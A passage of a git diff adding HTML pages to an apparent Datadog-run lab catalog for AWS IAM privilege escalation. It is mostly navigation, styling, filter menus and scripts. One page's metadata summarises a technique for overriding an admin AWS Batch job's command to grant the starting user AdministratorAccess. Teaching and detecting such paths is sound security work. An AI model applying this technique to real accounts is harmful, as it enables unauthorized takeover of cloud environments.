+                    <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="6" x2="6" y2="18"/><line x1="6" y1="6" x2="18" y2="18"/></svg>
+                </button>
+            </div>
+
+            <div id="labs-container" class="paths-table-container">
+                <div class="loading">Loading lab scenarios...</div>
+            </div>
+        </div>
+
+        <!-- Detail View -->
+        <div id="detail-view" style="display: none;">
+            <div id="detail-content"></div>
+        </div>
+    </main>
+
+    <footer>
+        <div class="container">
+            <div class="footer-content">
+                <div class="footer-section">
+                    <p class="footer-curator">
+                        Created and curated by <a href="https://www.linkedin.com/in/sethart/" target="_blank" rel="noopener noreferrer">Seth Art</a> at <a href="https://securitylabs.datadoghq.com" target="_blank" rel="noopener noreferrer">Datadog</a>
+                    </p>
+                </div>
+                <div class="footer-section footer-links">
+                    <a href="https://github.com/DataDog/pathfinding-labs" target="_blank" rel="noopener noreferrer">pathfinding-labs on GitHub</a>
+                    <span class="footer-separator">&bull;</span>
+                    <a href="https://github.com/DataDog/pathfinding.cloud/issues" target="_blank" rel="noopener noreferrer">Report an Issue</a>
+                </div>
+            </div>
+        </div>
+    </footer>
+
+    <script type="text/javascript" src="https://unpkg.com/vis-network/standalone/umd/vis-network.min.js"></script>
+    <script src="/js/viz-shared.js?v=1"></script>
+    <script src="/js/labs.js?v=5"></script>
+    <script src="/js/map-game.js?v=2"></script>
+    </div><!-- /.page-body -->
+    <script src="/js/sidebar.js?v=1"></script>
+    <script>
+        (function () {
+            const banner = document.getElementById('gs-cta-banner');
+            const dismissBtn = document.getElementById('gs-cta-dismiss');
+            if (!banner || !dismissBtn) return;
+            if (localStorage.getItem('gsCtaDismissed') !== '1') {
+                banner.style.display = 'block';
+            }
+            dismissBtn.addEventListener('click', function (e) {
+                e.preventDefault();
+                e.stopPropagation();
+                localStorage.setItem('gsCtaDismissed', '1');
+                banner.style.display = 'none';
+            });
+        }());
+
+        // Live canvas banner -- "Getting Started" in the game's gold capcom font
+        // on the ocean-gradient background. No islands, no clouds.
+        (function () {
+            const canvas = document.getElementById('gs-cta-canvas');
+            if (!canvas) return;
+            const visual = canvas.closest('.gs-cta-visual');
+            if (!visual) return;
+
+            function renderBanner() {
+                const rect = visual.getBoundingClientRect();
+                const w = Math.round(rect.width);
+                const h = Math.round(rect.height);
+                if (w < 10 || h < 10) return;
+
+                const dpr = window.devicePixelRatio || 1;
+                canvas.width = w * dpr;
+                canvas.height = h * dpr;
+                canvas.style.width = w + 'px';
+                canvas.style.height = h + 'px';
+
+                const ctx = canvas.getContext('2d');
+                ctx.scale(dpr, dpr);
+
+                // Ocean gradient background (same as the game map)
+                const p = getMapPalette();
+                const bg = ctx.createLinearGradient(0, 0, 0, h);
+                bg.addColorStop(0,   p.oceanA);
+                bg.addColorStop(0.6, p.oceanB);
+                bg.addColorStop(1,   p.oceanDeep);
+                ctx.fillStyle = bg;
+                ctx.fillRect(0, 0, w, h);
+
+                // Dark gradient scrim from the top (matches variant-5 game map)
+                const isLight = document.documentElement.classList.contains('light-theme');
+                const scrim = ctx.createLinearGradient(0, 0, 0, h);
+                scrim.addColorStop(0,   isLight ? 'rgba(0,0,0,0.82)' : 'rgba(0,0,0,0.92)');
+                scrim.addColorStop(0.6, isLight ? 'rgba(0,0,0,0.40)' : 'rgba(0,0,0,0.50)');
+                scrim.addColorStop(1,   'rgba(0,0,0,0)');
+                ctx.fillStyle = scrim;
+                ctx.fillRect(0, 0, w, h);
+
+                // Scale the heading so "GETTING STARTED" fills 80% of canvas width.
+                // Measure at the reference LAB_SIZE (26px at scale=1) to get the ratio.
+                const REF_SIZE = 26;
+                ctx.font = `900 ${REF_SIZE}px -apple-system, BlinkMacSystemFont, sans-serif`;
+                ctx.letterSpacing = '0.04em';
+                const refW = ctx.measureText('GETTING STARTED').width;
+                ctx.letterSpacing = 'normal';
+                const scale = Math.max(0.3, (w * 0.60) / refW);
+                drawCapcomHeader(ctx, w, 0, 'Getting Started', {
+                    brandText: 'PATHFINDING LABS',
+                    zoneH: h,
+                    scale: scale,
+                });
+            }
+
+            // Defer first render so the element has a computed layout size.
+            requestAnimationFrame(function () { renderBanner(); });
+
+            new ResizeObserver(function () { renderBanner(); }).observe(visual);
+
+            new MutationObserver(function () { renderBanner(); }).observe(
+                document.documentElement, { attributes: true, attributeFilter: ['class'] }
+            );
+        }());
+    </script>
+</body>
+</html>
diff --git a/docs/labs/batch-002/index.html b/docs/labs/batch-002/index.html
new file mode 100644
index 00000000..918e6c7f
--- /dev/null
+++ b/docs/labs/batch-002/index.html
@@ -0,0 +1,735 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+    <meta charset="UTF-8">
+    <meta name="viewport" content="width=device-width, initial-scale=1.0">
+    <title>AWS Batch SubmitJob to Admin via Existing Admin Job Definition - pathfinding.cloud Labs</title>
+    <meta name="description" content="Submit a job to an existing Batch job definition that carries an admin jobRoleArn, overriding the container command to attach AdministratorAccess to the starting user">
+    <meta name="generator" content="pathfinding-cloud-lab-stub">
+    <!-- Open Graph / Social Sharing -->
+    <meta property="og:type" content="article">
+    <meta property="og:url" content="https://pathfinding.cloud/labs/batch-002/">
+    <meta property="og:title" content="AWS Batch SubmitJob to Admin via Existing Admin Job Definition - pathfinding.cloud Labs">
+    <meta property="og:description" content="Submit a job to an existing Batch job definition that carries an admin jobRoleArn, overriding the container command to attach AdministratorAccess to the starting user">
+    <meta property="og:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Twitter Card -->
+    <meta name="twitter:card" content="summary_large_image">
+    <meta name="twitter:title" content="AWS Batch SubmitJob to Admin via Existing Admin Job Definition - pathfinding.cloud Labs">
+    <meta name="twitter:description" content="Submit a job to an existing Batch job definition that carries an admin jobRoleArn, overriding the container command to attach AdministratorAccess to the starting user">
+    <meta name="twitter:image" content="https://pathfinding.cloud/images/pathfinding-cloud-labs.png">
+    <!-- Favicon -->
+    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png">
+    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png">
+    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png">
+    <script
+        src="https://www.datadoghq-browser-agent.com/us1/v6/datadog-rum.js"
+        type="text/javascript">
+    </script>
+    <script>
+        window.DD_RUM && window.DD_RUM.init({
+        clientToken: 'pub480324ed2fcb73b641a2eccdd88c1d13',
+        applicationId: '61e8d384-68d8-45b7-a969-3187e0e167ff',
+        site: 'datadoghq.com',
+        service: 'pathfinding.cloud',
+        env: 'prod',
+        sessionSampleRate: 100,
+        sessionReplaySampleRate: 100,
+        trackBfcacheViews: true,
+        defaultPrivacyLevel: 'allow',
+        });
+    </script>
+    <!-- Prevent theme flicker by applying theme before render -->
+    <script>
+        (function() {
+            const savedTheme = localStorage.getItem('theme') || 'light';
+            if (savedTheme === 'light') {
+                document.documentElement.classList.add('light-theme');
+            }
+            // Sidebar anti-flicker: apply collapsed class before paint.
+            // Also force-collapse on narrow viewports regardless of saved preference.
+            if (localStorage.getItem('sidebarCollapsed') === 'true' || window.innerWidth < 1600) {
+                document.documentElement.classList.add('sidebar-collapsed');
+            }
+        })();
+    </script>
+    <link rel="stylesheet" href="/css/style.css?v=48">
+    <!-- Google Tag Manager -->
+    <script>(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start':
+    new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],
+    j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src=
+    'https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);
+    })(window,document,'script','dataLayer','GTM-WDC8G6');</script>
+    <!-- End Google Tag Manager -->
+</head>
+<body>
+    <!-- Google Tag Manager (noscript) -->
+    <noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-WDC8G6"
+    height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
+    <!-- End Google Tag Manager (noscript) -->
+    <header>
+        <div class="header-content">
+            <div class="header-left">
+                <button id="mobile-menu-toggle" class="mobile-menu-toggle" aria-label="Toggle menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="3" y1="12" x2="21" y2="12"/>
+                        <line x1="3" y1="6" x2="21" y2="6"/>
+                        <line x1="3" y1="18" x2="21" y2="18"/>
+                    </svg>
+                </button>
+                <div class="site-branding">
+                    <a href="/" class="site-name">PATHFINDING.CLOUD</a>
+                    <div class="site-tagline">Understand, Detect &amp; Demonstrate AWS IAM Privilege Escalation</div>
+                </div>
+            </div>
+            <nav class="header-center">
+                <a href="/" class="nav-link">Home</a>
+                <div class="nav-dropdown">
+                    <a href="/paths/" class="nav-link">Paths</a>
+                    <div class="dropdown-content">
+                        <a href="/paths/">Attack Paths</a>
+                        <a href="/paths/stats/">Statistics</a>
+                    </div>
+                </div>
+                <a href="/labs/" class="nav-link active">Labs</a>
+                <a href="/pathrunner/" class="nav-link">Pathrunner</a>
+            </nav>
+            <div class="header-right">
+                <a href="https://securitylabs.datadoghq.com" target="_blank" class="datadog-logo-link" aria-label="Visit Datadog Security Labs">
+                    <img src="/images/datadog-logo-white.png" alt="Datadog Logo" class="header-logo datadog-logo-white" style="filter: brightness(0) invert(1);">
+                    <img src="/images/datadog-logo-purple.png" alt="Datadog Logo" class="header-logo datadog-logo-purple" style="filter: brightness(0) saturate(100%); display: none;">
+                    <span class="icon-label">Datadog Security Labs</span>
+                </a>
+                <button id="theme-toggle" class="theme-toggle" aria-label="Toggle theme">
+                    <svg class="sun-icon" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <circle cx="12" cy="12" r="5"/>
+                        <line x1="12" y1="1" x2="12" y2="3"/>
+                        <line x1="12" y1="21" x2="12" y2="23"/>
+                        <line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/>
+                        <line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/>
+                        <line x1="1" y1="12" x2="3" y2="12"/>
+                        <line x1="21" y1="12" x2="23" y2="12"/>
+                        <line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/>
+                        <line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/>
+                    </svg>
+                    <svg class="moon-icon" width="24" height="24" viewBox="0 0 24 24" fill="currentColor">
+                        <path d="M21 12.79A9 9 0 1 1 11.21 3 7 7 0 0 0 21 12.79z"/>
+                    </svg>
+                    <span class="icon-label">Toggle Theme</span>
+                </button>
+                <a href="https://github.com/DataDog/pathfinding.cloud" target="_blank" class="github-link" aria-label="View on GitHub">
+                    <svg width="24" height="24" viewBox="0 0 16 16" fill="currentColor">
+                        <path d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"/>
+                    </svg>
+                    <span class="icon-label">View on GitHub</span>
+                </a>
+            </div>
+        </div>
+    </header>
+
+    <!-- Mobile Menu Overlay -->
+    <div id="mobile-menu-overlay" class="mobile-menu-overlay">
+        <div class="mobile-menu">
+            <div class="mobile-menu-header">
+                <span>Menu</span>
+                <button id="mobile-menu-close" class="mobile-menu-close" aria-label="Close mobile menu">
+                    <svg width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
+                        <line x1="18" y1="6" x2="6" y2="18"/>
+                        <line x1="6" y1="6" x2="18" y2="18"/>
+                    </svg>
+                </button>
+            </div>
+            <nav class="mobile-menu-nav">
+                <a href="/" class="mobile-nav-link">Home</a>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Paths</span>
+                    <a href="/paths/" class="mobile-nav-link mobile-nav-child">Attack Paths</a>
+                    <a href="/paths/stats/" class="mobile-nav-link mobile-nav-child">Statistics</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Labs</span>
+                    <a href="/labs/" class="mobile-nav-link mobile-nav-child">Labs Catalog</a>
+                    <a href="/labs/getting-started/" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                </div>
+                <div class="mobile-nav-group">
+                    <span class="mobile-nav-parent">Pathrunner</span>
+                    <a href="/pathrunner/" class="mobile-nav-link mobile-nav-child">Overview</a>
+                    <a href="/pathrunner/getting-started" class="mobile-nav-link mobile-nav-child">Getting Started</a>
+                    <a href="/pathrunner/commands" class="mobile-nav-link mobile-nav-child">Commands</a>
+                    <a href="/pathrunner/modules" class="mobile-nav-link mobile-nav-child">Exploit Modules</a>
+                    <a href="/pathrunner/payloads" class="mobile-nav-link mobile-nav-child">Payloads</a>
+                </div>
+            </nav>
+        </div>
+    </div>
+
+    <aside class="site-sidebar" id="site-sidebar">
+        <nav class="sidebar-nav">
+            <a href="/" class="sidebar-item" data-tooltip="Home">
+                <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M3 9l9-7 9 7v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z"/><polyline points="9 22 9 12 15 12 15 22"/></svg>
+                <span class="sidebar-label">Home</span>
+            </a>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-paths">
+                <button class="sidebar-group-toggle" data-tooltip="Paths">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
+                    <span class="sidebar-label">Paths</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/paths/" class="sidebar-item sidebar-child" data-tooltip="Attack Paths">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><circle cx="12" cy="12" r="3"/><line x1="12" y1="2" x2="12" y2="5"/><line x1="12" y1="19" x2="12" y2="22"/><line x1="2" y1="12" x2="5" y2="12"/><line x1="19" y1="12" x2="22" y2="12"/></svg>
+                        <span class="sidebar-label">Attack Paths</span>
+                    </a>
+                    <a href="/paths/stats/" class="sidebar-item sidebar-child" data-tooltip="Statistics">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><line x1="18" y1="20" x2="18" y2="10"/><line x1="12" y1="20" x2="12" y2="4"/><line x1="6" y1="20" x2="6" y2="14"/><line x1="2" y1="20" x2="22" y2="20"/></svg>
+                        <span class="sidebar-label">Statistics</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-labs">
+                <button class="sidebar-group-toggle" data-tooltip="Labs">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M10 2v7.31l-4.76 9.54A2 2 0 0 0 7 22h10a2 2 0 0 0 1.76-2.95L14 9.31V2"/><line x1="8.5" y1="2" x2="15.5" y2="2"/></svg>
+                    <span class="sidebar-label">Labs</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/labs/" class="sidebar-item sidebar-child" data-tooltip="Labs Catalog">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Labs Catalog</span>
+                    </a>
+                    <a href="/labs/getting-started/" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                </div>
+            </div>
+
+            <hr class="sidebar-divider">
+            <div class="sidebar-group" id="sidebar-group-pathrunner">
+                <button class="sidebar-group-toggle" data-tooltip="Pathrunner">
+                    <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                    <span class="sidebar-label">Pathrunner</span>
+                    <svg class="sidebar-chevron" width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="9 18 15 12 9 6"/></svg>
+                </button>
+                <div class="sidebar-group-items">
+                    <a href="/pathrunner/" class="sidebar-item sidebar-child" data-tooltip="Overview">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="3" width="7" height="7"/><rect x="14" y="3" width="7" height="7"/><rect x="14" y="14" width="7" height="7"/><rect x="3" y="14" width="7" height="7"/></svg>
+                        <span class="sidebar-label">Overview</span>
+                    </a>
+                    <a href="/pathrunner/getting-started" class="sidebar-item sidebar-child" data-tooltip="Getting Started">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><polygon points="16.24 7.76 14.12 14.12 7.76 16.24 9.88 9.88 16.24 7.76"/></svg>
+                        <span class="sidebar-label">Getting Started</span>
+                    </a>
+                    <a href="/pathrunner/commands" class="sidebar-item sidebar-child" data-tooltip="Commands">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/></svg>
+                        <span class="sidebar-label">Commands</span>
+                    </a>
+                    <a href="/pathrunner/modules" class="sidebar-item sidebar-child" data-tooltip="Exploit Modules">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 16V8a2 2 0 0 0-1-1.73l-7-4a2 2 0 0 0-2 0l-7 4A2 2 0 0 0 3 8v8a2 2 0 0 0 1 1.73l7 4a2 2 0 0 0 2 0l7-4A2 2 0 0 0 21 16z"/><polyline points="3.27 6.96 12 12.01 20.73 6.96"/><line x1="12" y1="22.08" x2="12" y2="12"/></svg>
+                        <span class="sidebar-label">Exploit Modules</span>
+                    </a>
+                    <a href="/pathrunner/payloads" class="sidebar-item sidebar-child" data-tooltip="Payloads">
+                        <svg class="sidebar-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 2L2 7l10 5 10-5-10-5z"/><polyline points="2 17 12 22 22 17"/><polyline points="2 12 12 17 22 12"/></svg>
+                        <span class="sidebar-label">Payloads</span>
+                    </a>
+                </div>
+            </div>
+        </nav>
+
+        <button id="sidebar-collapse-toggle" class="sidebar-collapse-btn" data-tooltip="Collapse">
+            <svg class="sidebar-icon collapse-icon" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
+            <span class="sidebar-label">Collapse</span>
+        </button>
+    </aside>
+
+    <div class="page-body">
+    <style>
+        /* Fix header overflow to allow dropdown to show */
+        header {
+            overflow: visible !important;
+        }
+
+        /* Dropdown menu styles */
+        .nav-dropdown {
+            position: relative;
+            display: flex;
+            align-items: center;
+        }
+
+        .nav-dropdown .dropdown-content {
+            display: none;
+            position: absolute;
+            top: 100%;
+            left: 0;
+            background: var(--card-background);
+            min-width: 180px;
+            box-shadow: 0 8px 16px rgba(0, 0, 0, 0.3);
+            border-radius: 8px;
+            z-index: 9999;
+            border: 2px solid var(--border-color);
+            padding-top: 12px;
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content::before {
+            content: '';
+            position: absolute;
+            top: 0;
+            left: 0;
+            right: 0;
+            height: 12px;
+            background: transparent;
+        }
+
+        .nav-dropdown .dropdown-content a {
+            color: var(--text-primary);
+            padding: 8px 16px;
+            text-decoration: none;
+            display: block;
+            transition: all 0.2s;
+            border-radius: 6px;
+            margin: 2px 4px;
+            position: relative;
+        }
+
+        .nav-dropdown .dropdown-content a:first-child {
+            margin-top: 0;
+        }
+
+        .nav-dropdown .dropdown-content a:hover {
+            background: var(--accent-purple);
+            color: white;
+            transform: translateX(4px);
+        }
+
+        .nav-dropdown .dropdown-content a.active {
+            color: var(--accent-color);
+            font-weight: 500;
+        }
+
+        .nav-dropdown .dropdown-content a.active::before {
+            content: '';
+            position: absolute;
+            left: 4px;
+            top: 50%;
+            transform: translateY(-50%);
+            width: 4px;
+            height: 4px;
+            background: var(--accent-color);
+            border-radius: 50%;
+        }
+
+        .nav-dropdown:hover .dropdown-content {
+            display: block;
+        }
+
+        .nav-dropdown:hover > .nav-link {
+            color: var(--accent-color);
+        }
+
+        /* Show white logo in dark mode, purple logo in light mode */
+        .datadog-logo-white {
+            display: block;
+        }
+
+        .datadog-logo-purple {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-white {
+            display: none;
+        }
+
+        html.light-theme .datadog-logo-purple {
+            display: block !important;
+        }
+    </style>
+
+    <nav class="container">
+        <div class="search-bar-container">
+            <div class="search-bar">
+                <input type="text" id="search" placeholder="Search labs by name, permission, or description...">
+            </div>
+            <div class="paths-count-display">
+                Showing <span id="filtered-labs-count">0</span> of <span id="total-labs-count">0</span> labs
+            </div>
+            <div class="filter-group view-toggle">
+                <label>View:</label>
+                <button id="view-cards" class="view-button active">Cards</button>
+                <button id="view-table" class="view-button">Table</button>
+            </div>
+        </div>
+        <div class="filters">
+            <!-- Category -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-category-filter">
+                <button class="filter-pill" data-filter="category-filter" type="button"><span class="filter-pill-key">Category</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-category-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="Privilege Escalation">Privilege Escalation</div>
+                    <div class="filter-pill-item" data-value="CSPM: Misconfig">CSPM: Misconfig</div>
+                    <div class="filter-pill-item" data-value="CSPM: Toxic Combination">Toxic Combination</div>
+                </div>
+                <select id="category-filter" hidden>
+                    <option value="">All Categories</option>
+                    <option value="Privilege Escalation">Privilege Escalation</option>
+                    <option value="CSPM: Misconfig">CSPM Misconfiguration</option>
+                    <option value="CSPM: Toxic Combination">Toxic Combination</option>
+                </select>
+            </div>
+
+            <!-- Path Type -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-path-type-filter">
+                <button class="filter-pill" data-filter="path-type-filter" type="button"><span class="filter-pill-key">Type</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-path-type-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="self-escalation">Self-Escalation</div>
+                    <div class="filter-pill-item" data-value="one-hop">One-Hop</div>
+                    <div class="filter-pill-item" data-value="multi-hop">Multi-Hop</div>
+                    <div class="filter-pill-item" data-value="cross-account">Cross-Account</div>
+                </div>
+                <select id="path-type-filter" hidden>
+                    <option value="">All Types</option>
+                    <option value="self-escalation">Self-Escalation</option>
+                    <option value="one-hop">One-Hop</option>
+                    <option value="multi-hop">Multi-Hop</option>
+                    <option value="cross-account">Cross-Account</option>
+                </select>
+            </div>
+
+            <!-- Cost -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-cost-filter">
+                <button class="filter-pill" data-filter="cost-filter" type="button"><span class="filter-pill-key">Cost</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-cost-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="free">Free</div>
+                    <div class="filter-pill-item" data-value="paid">Paid</div>
+                </div>
+                <select id="cost-filter" hidden>
+                    <option value="">All</option>
+                    <option value="free">Free</option>
+                    <option value="paid">Paid</option>
+                </select>
+            </div>
+
+            <!-- Hops (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-hops-filter">
+                <button class="filter-pill" data-filter="hops-filter" type="button"><span class="filter-pill-key">Hops</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-hops-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="hops-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Service (populated dynamically) -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-service-filter">
+                <button class="filter-pill" data-filter="service-filter" type="button"><span class="filter-pill-key">Service</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-service-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                </div>
+                <select id="service-filter" hidden>
+                    <option value="">Any</option>
+                </select>
+            </div>
+
+            <!-- Online Play -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-online-filter">
+                <button class="filter-pill" data-filter="online-filter" type="button"><span class="filter-pill-key">Online Play</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-online-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="yes">Yes</div>
+                    <div class="filter-pill-item" data-value="no">No</div>
+                </div>
+                <select id="online-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="yes">Yes</option>
+                    <option value="no">No</option>
+                </select>
+            </div>
+
+            <!-- Start -->
+            <div class="filter-pill-wrapper" id="pill-wrapper-start-filter">
+                <button class="filter-pill" data-filter="start-filter" type="button"><span class="filter-pill-key">Start</span><span class="filter-pill-body"><span class="filter-pill-value">Any</span><svg class="filter-pill-caret" width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><polyline points="6 9 12 15 18 9"/></svg></span></button>
+                <div class="filter-pill-menu" id="menu-start-filter">
+                    <div class="filter-pill-item selected" data-value="">Any</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-credentials">Credentials</div>
+                    <div class="filter-pill-item" data-value="assumed-breach-network">Network (assumed)</div>
+                    <div class="filter-pill-item" data-value="public-network">Network (public)</div>
+                </div>
+                <select id="start-filter" hidden>
+                    <option value="">Any</option>
+                    <option value="assumed-breach-credentials">Credentials</option>
+                    <option value="assumed-breach-network">Network (assumed)</option>
+                    <option value="public-network">Network (public)</option>
+                </select>
+            </div>
+
+            <!-- Target -->
